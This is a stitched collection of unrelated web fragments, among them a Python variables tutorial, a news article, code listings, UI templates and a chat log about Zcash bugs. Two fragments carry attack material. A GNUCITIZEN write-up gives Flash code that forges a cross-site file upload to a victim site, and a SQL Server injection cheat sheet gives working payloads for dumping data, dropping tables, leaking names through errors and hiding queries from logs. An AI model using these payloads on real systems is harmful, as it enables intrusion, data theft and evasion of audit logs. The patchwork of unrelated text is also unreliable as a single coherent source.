Thank you for taking the time to peruse my resume. I look forward
to meeting with you and learning more about your IT and development
needs.
I am particularly interested in opportunities to share my knowlege of computer
hardware, networking, and programming languages with others who are comming into
the industry.
I beleive it is important for those with experience to assist the next generation
of youth in understanding not only the technical side of the industry, but also why
the personal skills necessary for a successful career are so important.
I would love to hear from you. Please use the form below if you would like to contact me.
Again, than you for your time.


The SafetyCube DSS is the European Road Safety Decision Support System, which has been produced within the European research project SafetyCube, funded within the Horizons 2020 Programme of the European Commission, aiming to support evidence-based
policy making. The SafetyCube Decision Support System provides detailed interactive information on a large list of road accident risk factors and related road safety countermeasures.
Τhe SafetyCube DSS fact-sheet is available for download
here.
A Quick Guide on using the SafetyCube DSS, with instructions on how to browse the system, make a search and further refine the results, is available for download
here.
A full webinar on the SafetyCube DSS is available
here.


Learning about Variables - 🐳¶
When we are developing our idea, we sometimes need to use values multiple times or change the value based on our code. This concept is where variables become very helpful. Let’s look at an example.
In this example, we are adding a few numbers together. In this instance, if all we care about is getting the result (similar to a calculator). Then variables are not needed.
5 + 3 + 16
24
But let’s look at an example where we need to get the circumference of a circle using multiple radii. The equation for the circumference of a circle is: \(C = 2 \pi r\)
Let’s say the radius is 5
2 * 3.14159265359 * 5
31.4159265359
OK, how about radius 10 and 11 and 4 and … Well, in this example, we might not want to rewrite 3.14159265359 over and over. So, in this case, we want to create a variable for this, and we will call it pi.
pi = 3.14159265359
Now, every time we reference the variable called pi it will refer to the number 3.14159265359
Let’s try those radii again (10, 11, 4)
2 * pi * 10
62.8318530718
2 * pi * 11
69.11503837898
2 * pi * 4
25.13274122872
By the way, if you happen to get an error:
NameError: name 'pi' is not defined
Make sure you go to the cell that has
pi = 3.14159265359
and run this cell first then try the other calculations.
Type of Variables¶
There are multiple types of variables. The most common (and the ones we will talk about) are:
Integers (whole numbers)
Float (Floating points or numbers with a decimal)
Text
Lists
Dictionaries
The nice thing about Python is that we do not need to specify (or declare) which type we are using. Python will figure this out for us!
BUT FIRST, a quick detour…
We need to talk about Camel Casing.
Camel Case¶
Variable names must be one continuous string of letters/numbers. So, let's say we wanted to create a variable called "number of kittens." Instead calling this variable number of kittens, I would call it numberOfKittens. Why the capitalization? Because it makes it easier to separate the words in the name. As in, numberofkittens vs. numberOfKittens. We have a fun name for this: camel case.File:CamelCase new.svg. (2020, April 15). Wikimedia Commons, the free media repository. Retrieved 15:25, June 3, 2020 from https://commons.wikimedia.org/w/index.php?title=File:CamelCase_new.svg&oldid=411544943.
Integers or int¶
As mentioned, integers are whole numbers. Let’s create an example. How about we use our numberOfKittens. We will then set this value to 0. As in, we have 0 kittens.
numberOfKittens = 0
One thing we might want to do is to have Python tell us what type this variable is. Well, Python has a function for this called
type()
type( numberOfKittens )
int
So this checks out, we made an int, and it is showing us we have an int.
Now, once we have a variable, it is not static. We can change the value as much as we need to. Running the next cell will continually add 10 to our original variable.
Try running this a few times.
numberOfKittens = numberOfKittens + 10
numberOfKittens
10
or
in more human-readable terms.
numberOfKittens (new value 10) = numberOfKittens (originally 0) + 10
numberOfKittens is now 10
or
Floating points or floats¶
Floats are similar to integers, but with more precision. Float comes from a Floating point or a number with a decimal point.
This example starts at 0, but note that this is .0 Adding the decimal tells Python that we should have a float value instead of an integer.
aFloatVariable = .0
Let’s again, check the variable type.
type( aFloatVariable )
float
Looks good.
And again, we will add 10 to this. There is something specific interesting here; see if you spot it.
aFloatVariable = aFloatVariable + 10 aFloatVariable
If you guessed “mixing a float and an integer,” you got it. Let’s see an example.
Mixing integers and floats¶
In Python (3, more specifically), the variable will always take the form of the most precision. So, by default, a float.
letsSeeWhatHappens = numberOfKittens + aFloatVariable
letsSeeWhatHappens
10.0
We can force variables to be a certain type. We call this ‘type-cast’ and can be used to:
make an integer into a float
a float to an integer
an integer to a string (we have not discussed this yet)
a float to a string (we have not discussed this yet)
etc…
type-cast¶
Note
type-cast is temporary. If you do not use a type-cast, the variable will revert to its original variable type.
Let’s switch our numberOfKittens to a float using
float()
and turn our aFloatVariable to an integer using
int()
float(numberOfKittens)
10.0
int(aFloatVariable)
0
Common Question
What happens when you convert a float like .5 to an integer? Does it round up or down?
Well let’s see what happens.
printList = []
for i in range(10): printList.append("for value %s we will get %s" % ((i/10),int(i/10)))
display(md('<br />'.join([str(elem) for elem in printList])))
for value 0.0 we will get 0
for value 0.1 we will get 0
for value 0.2 we will get 0
for value 0.3 we will get 0
for value 0.4 we will get 0
for value 0.5 we will get 0
for value 0.6 we will get 0
for value 0.7 we will get 0
for value 0.8 we will get 0
for value 0.9 we will get 0
So, in conclusion. It will always round down.
String or str¶
So, up to this point, we started our conversation working with numbers. Well, what about the other things that are not numbers… like text? Well, for text, we use something called a String or str.
Strings allow us to capture a single character up to thousands of characters (actually, much more than this). Let’s go through a traditional example of “Hello, World!” but with my slight spin to it.
helloStatement = "Hello, everyone!"
As you can see, can capture text and other alphanumeric and special characters. There are several unique functions for strings but first, let’s double-check and see what type we from our helloStatement.
type( helloStatement )
str
Not too surprising, we see this is type str or string.
Note
For those coming from another programming language. Sometimes other programming languages will have a specific designation for a single character string or, as it is called, a character. Python has a one-size-fits-all label for text, and that is a string. Here, let me prove it.
singleCharacter = "a"
type( singleCharacter )
str
String Indexing/String Slicing¶
One of the first ways to interact with our string is to take a look at individual characters by using their index.
The index is position (or multiple positions) for each character in the string. So, if we look at our string, we have Hello, everyone! If we wanted to see the first letter H, we could reference this using the index or the position where the letter is in the string.
helloStatement[1]
'e'
ohh.. wait a minute. We were expecting the letter H, but we got e. What happened?
Note
For indexes, we always start at the number 0. So, 0 is the first thing, 1 is the second thing, and so on.
Let’s try this again.
helloStatement[0]
'H'
There we go!
Visually, this is how the string looks to Python.
Indexing Multiple Letters¶
print( helloStatement[0:5] )
Hello
Wait a second!
The way you should think of this is:
helloStatement[0 : 5 - 1]
helloStatement[(starting number) to (ending number - 1)]
There is also a shortcut way of writing this, without the 0.
print( helloStatement[:5] )
Hello
print( helloStatement[5:] )
, everyone!
String functions¶
Find¶
print( helloStatement.find("one") )
print( helloStatement.find("me") )
print( helloStatement.find("hello") )
print( helloStatement.find("Hello") )
12
-1
-1
0
Note
When using .find(), if the function can NOT find the sequence of the letters given. It will return -1.
Formatting¶
print( helloStatement.capitalize() )
print( helloStatement.lower() )
Hello, everyone!
hello, everyone!
Split¶
print( helloStatement.split(" ") )
['Hello,', 'everyone!']
Note
.split() will eventually become your best friend. .split() is a great function to use when using uniquelly spaced data. As in comma separated values or CSV.
Chaining Functions¶
print( helloStatement )
print( helloStatement[0:5].capitalize() )
print( helloStatement.find("hello") )
print( helloStatement[:5].lower().find("hello") )
Hello, everyone!
Hello
-1
0
Concatenating Strings¶
When you want to put two strings together, we say you concatenate the strings. There are multiple ways of doing this but presented are what I believe to be the three most common ways.
+ Method¶
This is the most straightforward method of the three, but there can be some issues. You simply add a plus sign + between your strings. Let’s take a look at this.
print ( "hello, " + "everyone!")
hello, everyone!
This works fine, but when you add a number to this idea. We run into issues.
print ( "hello, " + "every" + 1 + "!")
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-41-1f53f06cad5c> in <module>
----> 1 print ( "hello, " + "every" + 1 + "!")
TypeError: can only concatenate str (not "int") to str
In this case we need to type-cast the integer as a string using
str()
print ( "hello, " + "every" + str(1) + "!")
hello, every1!
% Method¶
This is my favorite method out of the three. Let’s see how this works with the same example.
In this case, we use a %s (s = string) for each string we want to embed in our overall string.
print ( "%s, %s" % ("hello", "everyone") )
hello, everyone
There are three parts to this.
The format
"%s, %s"
The break
%
The fill
("hello", "everyone")
We have two %s, meaning we need to feed it with two strings.
OK, but what about numbers?
print ( "%s, %s%s%s" % ("hello","every",1,"!") )
hello, every1!
Still works! This reason is why I like this method. You pick the formating and feed in the strings.
join() Method¶
The .join() method uses a function called
.join()
This is a create function to be aware of, as it will allow you the ability to join strings with a specific, static format. What do I mean by static formatting? Well, unlike the % method, that can be formatted exactly how I want it. The .join() method requires a specific pattern. Example time!
print ( " ".join(["hello, ", "everyone!"]) )
hello, everyone!
There are two parts to this.
The splitter
" "
The fill
.join(["hello, ", "everyone!"])
Notice that the join has the brackets around it. Technically, you are feeding this an array or list (we have not talked about this yet). This function again, like .split(), will be a great asset to you in the future.
Let’s show this with our number again.
print ( " ".join(["hello, ", "every", 1, "!"]) )
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-54-e926f0c4c025> in <module>
----> 1 print ( " ".join(["hello, ", "every", 1, "!"]) )
TypeError: sequence item 2: expected str instance, int found
The same issue as before, we need to type-cast.
print ( " ".join(["hello, ", "every", str(1), "!"]) )
hello, every 1 !
Notice the spaces? Again, we are saying with the splitter what each string is going to be seperated by, so in this case, everything will be split by spaces.
Booleans¶
Booleans are used to do comparisions (true/false), (1/0), (yes/no)
someCondition = True
type( someCondition )
bool
Boolean Logic¶
We will talk about boolean logic more in the next section (Comparisons)
(someCondition == False)
False
if (False):
print( "yes for False!" )
if (True):
print( "yes for True!" )
yes for True!
Note
A more “traditional” way to do booleans is to use 0 and 1. In Python, any number other than 0 is True. Including negative numbers and decimals.
if (0):
print( "yes for 0!" )
if (1):
print( "yes for 1!" )
if (2):
print( "yes for 2!" )
if (-3):
print( "yes for -3!" )
if (.4):
print( "yes for .4!" )
yes for 1!
yes for 2!
yes for -3!
yes for .4!
Lists¶
Lists (or also known as Arrays) are exactly that. A list of data.
There are two options for creating a List.
Define the list initially
groceryList = ["apple", "banana", "eggs"]
print( groceryList )
['apple', 'banana', 'eggs']
Create a list and add to it using
.append()
groceryList = []
groceryList.append("apple")
groceryList.append("banana")
groceryList.append("eggs")
print( groceryList )
['apple', 'banana', 'eggs']
Note
For indexes, we always start at the number 0. So, 0 is the first thing, 1 is the second thing, and so on.
print( groceryList[2] )
print( groceryList[0] )
print( groceryList[1] )
eggs
apple
banana
So what happens if we use an index outside of our list?
print( groceryList[3] )
---------------------------------------------------------------------------
IndexError Traceback (most recent call last)
<ipython-input-44-0a77fb05d512> in <module>
print( groceryList[3] )
IndexError: list index out of range
Note
Typically, going through an array, one index at a time is not how we want to use lists. We will talk about going through lists using a loop in an upcoming notebook.
Dictionary¶
Dictionaries are used to index based on a specific key. As in:
dictionary[“street adddress” (key)] = “123 Apple St.” (value)
personalInformation = {}
personalInformation["streetAddress"] = "123 Apple St."
personalInformation["firstName"] = "Patrick"
personalInformation["lastName"] = "Dudas"
print( personalInformation )
{'streetAddress': '123 Apple St.', 'firstName': 'Patrick', 'lastName': 'Dudas'}
Note the order.
Again, to do this more efficiently, we will be using loops (we will talk about later).


Mexico bristles at US terror designation plan
MEXICO CITY, Nov 29 — President Andres Manuel Lopez Obrador said today Mexico had not been invaded for more than a century and he would not permit another foreign intervention, reflecting tensions over a Trump administration plan to designate drug cartels based in Mexico as terrorist groups.
Designating groups as foreign terrorist organisations is aimed at disrupting their finances through the imposition of US sanctions. While it does not directly give authority for overseas military operations, many Mexicans are nervous that it would lead to unilateral US action against gangs.
“Since 1914 there hasn’t been a foreign intervention in Mexico and we cannot permit that,” Lopez Obrador said at a regular news conference, referring to the US occupation of the port of Veracruz 105 years ago.
“Armed foreigners cannot intervene in our territory,” he said, instead offering more cooperation with the United States on fighting drug gangs, which have shown their power with a series of battles with security forces and civilians in recent months.
US Attorney General William Barr will visit Mexico next week to discuss further security cooperation, Mexico’s foreign minister said earlier. The US embassy in Mexico did not immediately respond to a request for comment.
Lopez Obrador was responding to comments by US President Donald Trump this week that he was working to designate Mexican cartels as terrorist groups.
The planned Barr visit will be the highest level meeting since a gangland massacre of a US-Mexican family triggered Trump’s terrorist comments.
“What we need to address organised crime is more mutual cooperation, not elements that will put distance between us or create hostilities,” said Ebrard. — Reuters


color bar here!!
JSon RESTFul Server Test Page
Request
user:
pass:
use auth
get
post
put
delete
Raw Answer
CBO Answer


| 1 | package fr.sii.ogham.core.exception.clean; | |
| 2 | ||
| 3 | import static fr.sii.ogham.core.CoreConstants.SERIAL_VERSION_UID; | |
| 4 | import static java.util.Collections.unmodifiableList; | |
| 5 | ||
| 6 | import java.util.List; | |
| 7 | ||
| 8 | /** | |
| 9 | * Some resources may be opened while Ogham runs. That's why there is a cleanup | |
| 10 | * mechanism to free/close some resources. Clean-up may fail for any reason. | |
| 11 | * | |
| 12 | * This is a wrapper exception used when performing a full cleanup. It is thrown | |
| 13 | * when at least one cleanup has raised an error. It keeps the list of cleanup | |
| 14 | * failures. | |
| 15 | * | |
| 16 | * @author Aurélien Baudet | |
| 17 | * | |
| 18 | */ | |
| 19 | public class MultipleCleanException extends CleanException { | |
| 20 | private static final long serialVersionUID = SERIAL_VERSION_UID; | |
| 21 | ||
| 22 | private final List<CleanException> causes; | |
| 23 | ||
| 24 | public MultipleCleanException(String message, List<CleanException> causes) { | |
| 25 | super(message); | |
| 26 | this.causes = unmodifiableList(causes); | |
| 27 | } | |
| 28 | ||
| 29 | public List<CleanException> getCauses() { | |
| 30 |
1
1. getCauses : replaced return value with Collections.emptyList for fr/sii/ogham/core/exception/clean/MultipleCleanException::getCauses → NO_COVERAGE |
return causes; |
| 31 | } | |
| 32 | ||
| 33 | } | |
Mutations | ||
| 30 |
1.1 |


Computer Vision Framework 5 - Non-Iterative Superpixel Segmentation
SQL database project - Extended multi-feature query processing engine
The Problem with Standard SQL:
Building and maintaining multi-dimensional queries is a challenge for multiple reasons. The language does not allow succinct representation of simple concepts such as Data pivots, aggregate functions over multiple groups of the same table, and hierarchical data comparisons. In order to represent most multi-dimensional queries, we must resort to a complicated and costly series of join operations across many different relational algebra operators and multiple sub-queries. Besides the extra confusion of how to actually build the query, This makes it difficult for a query engine to optimize without costly analysis, which is not feasible for ad-hoc queries.
»Computer Vision Framework 4 - Visual Recognition
Visual Recognition is another broad category of image processing, which is simply the idea of identifying things in an image and typically labeling them as such. There is a large variety of things that computer vision can be used to recognized, but for this project we focus on categorizing an image based on colors in the image, as well as classifying pixels in a particular image.
»Computer Vision Framework 3 - Image Segmentation
Image Segmentation is a very broad category of image processing, but the basic idea is to separate various elements of an image into segments of a particular kind. In this project I will try out segmenting some images by pixel colors using k-means clustering, and by so called "Superpixels" using a simplified version of the SLIC algorithm.
Superpixel Segmentation example from SLIC Superpixels (Radhakrishna et al.)
Cloud Systems project - Distributed Hash Table Network
Chord is a peer-to-peer (p2p) protocol designed to maintain a distributed hash table. It primarily works by having each node in a network maintain a partial set of key-values pairs as well as a list of distributed nodes (known as a finger table) at strategic distributions of the network. It also constantly checks and updates the status of the network to maintain connectivity across potentially unreliable p2p nodes.
For our Cloud and Distributed Systems project, we needed to implement a Chord-based distributed network in Java that establishes and maintains connections using RESTful APIs as well as supports remote shell operation of other nodes via websockets.
Chord network example with finger nodes highlighted from Wikipedia.org


{{authCtrl.signup ? "Already have an account, ":"Don't have an account, "}} {{authCtrl.signup ? "Login":"Create Account"}}


Comic Tim Minchin explains why he is becoming less political
The star has a comedy tour called Back.
Tim Minchin has said his comedy is becoming less political because he is scared to say something that someone could use as “the defining factor”.
The Australian comedian, 44, is in the UK with his comedy tour, called Back.
He told Radio Times magazine: “I’m getting less political because I’m scared.
“I don’t want to say something that someone decides they’re going to use as the defining factor.
“I’m devastated by Trump; I was there when he got elected.
“I’m devastated by Brexit; I was here when that happened. We all feel like we have PTSD.”
Minchin warned that “we have to be careful of our anger because it can be destructive”.
He said: “It’s a scary thing to even talk about because if you try to turn an angry opinion into a more considered one, you’re told to check your privilege.
“We are headed towards a world where the person who is most angry is the voice that seems to be most authentic in any debate – that is not what Mandela said, or Jesus.”
This week’s Radio Times is out on Tuesday.


Gateway
BOT
02-Oct-19 06:48 PM
[dscrd-hush] <ITM> @dukeleto Yes, that great. So the issue with Z-Transaction is pretty huge. A lot of attack vectors. Glad its patched.
[dscrd-hush] <ITM> Thanks duke, The paper really explains a lot. I also found some correct terms they used for my paper. The paper also explains indirectly why a unspent z-chain cannot be link. Hence z-chain - 1.
(edited)
[dscrd-hush] <gigamesh> so those guys from Stanford were the first to discover the vulnerabilities?
[dscrd-hush] <gigamesh> `The paper also explains indirectly why a unspent z-chain cannot be link` -- thats funny
[dscrd-hush] <gigamesh> which section?
[dscrd-hush] <gigamesh> @dukeleto why would you reverse engineer the fix? was the documentation insufficient?
[dscrd-hush] <ITM> @gigamesh it was not disclose to anyone, just the source code.
[dscrd-hush] <dukeleto> was the documentation insufficient? lol
[dscrd-hush] <dukeleto> there was none
[dscrd-hush] <dukeleto> @gigamesh as i described in my blog post, this release of zec is a response to security reports by those 3 people. They gave no details
[dscrd-hush] <phm87> Congrats @dukeleto !
[dscrd-hush] <dukeleto> @phm87 thanks buddy
[dscrd-hush] <dukeleto> The CVE I reported is one flavor of the REJECT attack
[dscrd-hush] <dukeleto> their paper is larger, describes more things. What I found was just one thing, but a quite important one
[dscrd-hush] <dukeleto> haven't even had time to read the entire paper yet, but I skimmed it and it's a very good read
[dscrd-hush] <dukeleto> I think I will actually print this out on dead trees
[dscrd-hush] <dukeleto> @ITM I think it's advantageous for you to use similar terminology as this paper
[dscrd-hush] <dukeleto> then people will understand and your ideas are more easily accepted
[dscrd-hush] <dukeleto> MimbleWimble stuff like GRIN/BEAM is not immune to the ITM attack, but everything is slightly different there
[dscrd-hush] <dukeleto> That is my most recent assesment.
[dscrd-hush] <dukeleto> I am in contact with some GRIN/BEAM researchers and they are interested to see if similar bugs exist in their coins
[dscrd-hush] <dukeleto> @ITM some things we thought of as mitigations and improvements to ITM are baked into MW, and MW also gives some ideas for improvements of your attack/defense strategies
[dscrd-hush] <dukeleto> it's almost as if @ITM is "read team" and I am "blue team"
[dscrd-hush] <phm87> I am very excited about ITM future paper, I can t wait to read it
[dscrd-hush] <dukeleto> read todays ZEC paper first!
[dscrd-hush] <dukeleto> Because it will require lots of similar terminology and concepts
[dscrd-hush] <phm87> I read the beginning, you shared other papers in thisfield, I will do a list and read everything
[dscrd-hush] <dukeleto> #deanon has a lot of pinned posts


Reproxy is a minimalistic system acting as an edge server / reverse proxy for your infrastructure. It provides the only essential functionality with no bells and whistles. Setup is very straightforward and not much to configure.
- Automatic SSL termination with Lets Encrypt
- Support of user-provided ssl certificates
- Simple but flexible proxy rules
- Static, command line proxy rules provider
- Dynamic, file-based proxy rules provide
- Docker provider with an automatic discovery
- Optional traffic compression
- User-defined limits
- Single binary distribution
- Docker container distribution
- Builtin static assets server
- Open source
— reproxy team


A blog for modern alpine living.
Image descriptions clockwise from top-left:
See incredible pictures of alpine landscapes at Alpine Exposures
Despite the use of scripts and features that we have not yet encountered, the html at Alpine Exposures is highly organized and readable. Extensive use of block elements structures the page in ways that make intuitive sense. A suggestion that the page creator takes pride in his or her work is the large insignia created with text characters that appears in the head of the source code...very cool actually.


In the meantime visit the project on Github to participate or observe changes.
You do not have to write everything twice. You can use the knowledge generated elsewhere and share your own late-night scripting madness. It is time to take scientific programming open source! Check the documentation.
Take advantage of a huge automated code-base which let's you work with the language interactively. Develop your own tools and share them with the community. Learn more about projects and help to develop the database!
Work on how Julia developes and what kind of programming is to be made with the language. Discuss what happens and what you like and what not. Check the user-group for a lively disucssion.


Before Change
)
if filename:
name = os.path.basename(filename)
contents = open(filename, "rb").read().decode("utf-8", errors="ignore")
self.libraryList.append(Script(name, contents, 0, filename))
self.setSelectedScript(len(self.libraryList) - 1)
def onRemoveScript(self, *args):
After Change
if filename:
name = os.path.basename(filename)
// TODO: use `tokenize.detect_encoding`
with open(filename, encoding="utf-8") as f:
contents = f.read()
self.libraryList.append(Script(name, contents, 0, filename))
self.setSelectedScript(len(self.libraryList) - 1)
def onRemoveScript(self, *args):


| PetersenCL {sandwich} | R Documentation |
Artificial balanced panel data set from Petersen (2009) for illustrating and benchmarking clustered standard errors.
data("PetersenCL")
A data frame containing 5000 observations on 4 variables.
integer. Firm identifier (500 firms).
integer. Time variable (10 years per firm).
numeric. Independent regressor variable.
numeric. Dependent response variable.
This simulated data set was created to illustrate and benchmark clustered standard errors. The residual and the regressor variable both contain a firm effect, but no year effect. Thus, standard errors clustered by firm are different from the OLS standard errors and similarly double-clustered standard errors (by firm and year) are different from the standard errors clustered by year.
https://www.kellogg.northwestern.edu/faculty/petersen/htm/papers/se/test_data.htm
Petersen MA (2009). “Estimating Standard Errors in Finance Panel Data Sets: Comparing Approaches”, The Review of Financial Studies, 22(1), 435–480. doi: 10.1093/rfs/hhn053


| Device Name | Category | Last Switched On | State | Action |
|---|---|---|---|---|
| Samsung UHD TV | TV / Entertainment | 02/01/2020 - 14:00 | ON | |
| Toaster | Kitchen | Today - 19:00 | ON | |
| Cooker | Kitchen | Yesterday - 13:00 | ON | |
| Bedroom 1 Lights | Lighting | Today - 05:00 | ON | |
| Living Room Lights | Lighting | 19/12/2019 - 14:00 | ON | |
| Living Room Lights | Lighting | 19/12/2019 - 14:00 | ON | |
| Living Room Lights | Lighting | 19/12/2019 - 14:00 | ON | |
| Living Room Lights | Lighting | 19/12/2019 - 14:00 | ON | |
| Living Room Lights | Lighting | 19/12/2019 - 14:00 | ON | |
| Living Room Lights | Lighting | 19/12/2019 - 14:00 | ON |


{% extends 'layout.html' %} {% block body %}
| Name | {{ customer_dto.name }} |
| Birthday | {{ customer_dto.birthday }} |
| Address | {{ customer_dto.address }} |
| Phone | {{ customer_dto.phone }} |
| Email address | {{ customer_dto.email_address }} |
| {{ customer_dto.facebook }} | |
| Recommended by | {{ customer_dto.recommended_by_name }} |
| Registered on | {{ customer_dto.registered_on }} |


The reason CSRF attacks against file uploads are not possible is because the HTML FORM specifications are not versatile enough to define sub-fields like filename="whatever.txt", which are vital parts of the multipart/form-data specifications when submitting files. This is the only restriction and I will show you that attackers can easily overcome it with a bit of help from Flash.
We've already proved that various forms of home routers can be entirely compromised and hacked by forging UPnP requests with flash. Now I will show you that file uploading facilities can be attacked in a similar way. Let's examine the following code, which you can compile with Flex2 SDK - c:\Flex2\bin\mxmlc code.mxml:
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
<mx:Script>
/* by Petko D. Petkov; pdp
* GNUCITIZEN
**/
import flash.net.*;
private function onAppInit():void
{
var r:URLRequest = new URLRequest('http://victim.com/upload.php');
r.method = 'POST';
r.data = unescape('-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22file%22%3B filename%3D%22gc.txt%22%0D%0AContent-Type%3A text%2Fplain%0D%0A%0D%0AHi from GNUCITIZEN%21%0D%0A-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22submit%22%0D%0A%0D%0ASubmit Query%0D%0A-----------------------------109092118919201--%0A');
r.contentType = 'multipart/form-data; boundary=---------------------------109092118919201';
navigateToURL(r, '_self');
}
</mx:Script>
</mx:Application>
If you carefully read the content of the script you will notice that we are preparing an URLRequest object which we load with a POST method, a contentType which equals to multipart/form-data and a url-encoded data text. If we unencode the text we get the following result. Now let's have a look at it as well. Notice the filename="gc.txt" field:
-----------------------------109092118919201
Content-Disposition: form-data; name="file"; filename="gc.txt"
Content-Type: text/plain
Hi from GNUCITIZEN!
-----------------------------109092118919201
Content-Disposition: form-data; name="submit"
Submit Query
-----------------------------109092118919201--
This looks like a valid multipart/form-data file upload, doesn't it? If you compile and execute the code you will see that the file upload is completely valid and will upload a file called gc.txt with content of Hi from GNUCITIZEN!.
THE IMPACT OF CROSS-SITE FILE UPLOAD (CSFU) ATTACKS
Like CSRF attacks, there are plenty of things one can do with this type of technique. Here is a couple of evil things that come into my mind:
- Upload a nasty picture on someone's profile - I admit this is not very useful but still very funny and open for abuse.
- Upload a shiny new firmware to the router that is under attack by using the user as a proxy. This is pretty nasty and given the fact that there are numerous authentication bypass and A-to-C bugs floating around, it is very, very feasible.
- Upload a shiny new configuration file on the router that is under attack. Same as the one above - very feasible and easy to perform.
- Upload executable scripts on CMS - this of course is a bit more targeted..


34 / 21 61.8% 54 total
Position:
Top
Bottom
Colors:
keyboard_arrow_down
Bar Colors
Blue / Gray
Green / Red
Custom Colors
Likes CSS Color
Dislikes CSS Color
Separate colors with a white line.
Height:
4 px
Opacity:
100%
Cache Duration
:
keyboard_arrow_down
None
1 min
5 min
10 min
30 min
1 hr
3 hr
6 hr
24 hr
Add a separation line
above
the rating bar.
Exponentially scale
the rating bar.
Hover your mouse over the rating bar to reveal a tooltip of rating info.
Use the rating bar colors for the rating bar on the video page (when used with the
Return YouTube Dislike
extension).
Add a color-coded text rating percentage to each video listing.
Restore Defaults
Save


{% extends "base.html" %} {% block content %}
Cotton candy donut bonbon unerdwear.com macaroon toffee jelly beans sweet roll. Marshmallow lemon drops biscuit bonbon. Gummi bears cookie jelly beans cotton candy apple pie brownie gummies. Icing tart sweet roll cake. Lemon drops gingerbread croissant chupa chups brownie sugar plum gummies. Gingerbread icing marshmallow. Carrot cake cake ice cream sweet oat cake. Croissant tiramisu halvah caramels brownie lollipop. Chocolate bar gummi bears jelly beans fruitcake sweet. Dragée bear claw jelly-o sweet roll chupa chups unerdwear.com. Icing candy sugar plum cheesecake cupcake croissant cookie. Cotton candy croissant soufflé sugar plum. Lollipop biscuit cupcake cheesecake chupa chups dessert gummies.
{# Font-awesome and Glypicons included #}


/
help page/stat
server stats/sessions
show session list/ping?dsn=host:port
show list of endpoints and channels/session/start?dsn=$dsn&limit=1000&t=15
start data stream session to target DSN (format: host:port/endpoint/channel) with limited length of buffer and session timeout (ms)/session/stop?sid=$sid
stop session with input sid/session/$sid
flush data buffer to JSON format


Kid's Camp
About Us
Events
Media
Contact Us
Grades 9-12
2017
Dance
Dance Music
Dance Back with Music
Dance Front with Music
Problems with moves?
Cheer
Cheer Front
Cheer Back
2017
Ages 3-4
Grades K-2
Grades 3-5
Grades 6-8
Grades 9-12
2016
Ages 3-4
Grades K-2
Grades 3-5
Grades 6-8
Grades 9-12


This essay is associated with my composition, "33132122321122233321321121231". Here I undertake a detailed investigation of the relationship of chance and choice, planned versus inevitable indeterminacy, the repositioning or restructuring of the composer's will, and the determination of creative space by structured randomness. I survey and select from historical, personal, and quantitative resources in creating and describing the system that generates the associated composition. A detailed account is provided, describing both the general approach and a particular outcome.


Where can you use? If you have found an error based in SQL Injection in SQL Server
What is the point? You don’t have to extract every single record one by one. You can get all of them with fewer requests
Theory- Loop all records and insert in a temporary table (generally all users have create table permission)
- Read temporary table
- Drop table and start again for some other data
1) Read tables Injection for string,
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
2) Read from new temp table,
Step 1
' OR 1=CAST((SELECT TOP 1 SUBSTRING(rd,1,360) FROM TMP_SYS_TMP) AS Int)--
Step 2
' OR 1=CAST((SELECT TOP 1 SUBSTRING(rd,353,360) FROM TMP_SYS_TMP) AS Int)--
Step n..
Add 353 of your previous SQL to read more
' OR 1=CAST((SELECT TOP 1 SUBSTRING(rd,n*353,360) FROM TMP_SYS_TMP) AS Int)--
3) Drop table
';DROP TABLE TMP_SYS_TMP--
4) Change query and first injection query and get more data ...
Read tables Injection for integers
';BEGIN DECLARE @rd varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+CAST(id AS varchar) FROM sysobjects WHERE xtype='U' AND CAST(name AS varchar)>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Also same syntax should works with proper string data but we don’t need it for string data anyway.
Another example : Reading column names of a spesific table
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Covering Your Tracks
SQL Server -sp_password log bypass
SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
HAVING and GROUP BY
GROUP BY" is a microsoft sql server command used to group output of particular sql query.
"HAVING" is a command used to specify a search condition for a group or an aggregate. this command is always used with "GROUP BY" otherwise the error will return.
Attempt to insert HAVING into query...should return an error with DB table name and column.
Now insert GROUP BY <known_table>.<known_column> HAVING
and you should be able to get an error listing another columns. Iterate through until all columns are known
Too much error information
Using convert(), MSSQL could give away additional information. Consider:
1 and 1=convert(int,db_name())--
and MSSQL could give you back db_name in error message (failed conversion from string to int)
Try with user_name() or other functions
large section on error-based SQLi using convert(int,(SELECT...))-- here


Run Lex And Parse
Run Lexer Only
Run Parser Only
Library
Ops/sec
Relative Speed
?
JSON_Dev
JSON_Latest
CSS_Dev
CSS_Latest
ECMA5_Dev
ECMA5_Latest


rel.hh File Reference
(Revision: 3579)
#include "gecode/int.hh"
#include "gecode/iter.hh"
#include "gecode/int/rel/eq.icc"
#include "gecode/int/rel/nq.icc"
#include "gecode/int/rel/lq-le.icc"
#include "gecode/int/rel/lex.icc"
Go to the source code of this file.
Namespaces | |
| namespace | Gecode::Int::Rel |
| namespace | Gecode |
| namespace | Gecode::Int |
Classes | |
| class | Gecode::Int::Rel::EqDom< View0, View1 > |
| Binary domain-consistent equality propagator. More... | |
| class | Gecode::Int::Rel::EqBnd< View0, View1 > |
| Binary bounds-consistent equality propagator. More... | |
| class | Gecode::Int::Rel::NaryEqDom< View > |
| n-ary domain-consistent equality propagator More... | |
| class | Gecode::Int::Rel::NaryEqBnd< View > |
| n-ary bounds-consistent equality propagator More... | |
| class | Gecode::Int::Rel::ReEqDom< View, CtrlView > |
| Reified binary domain-consistent equality propagator. More... | |
| class | Gecode::Int::Rel::ReEqBnd< View, CtrlView > |
| Reified binary bounds-consistent equality propagator. More... | |
| class | Gecode::Int::Rel::ReEqDomInt< View, CtrlView > |
| Reified domain-consistent equality with integer propagator. More... | |
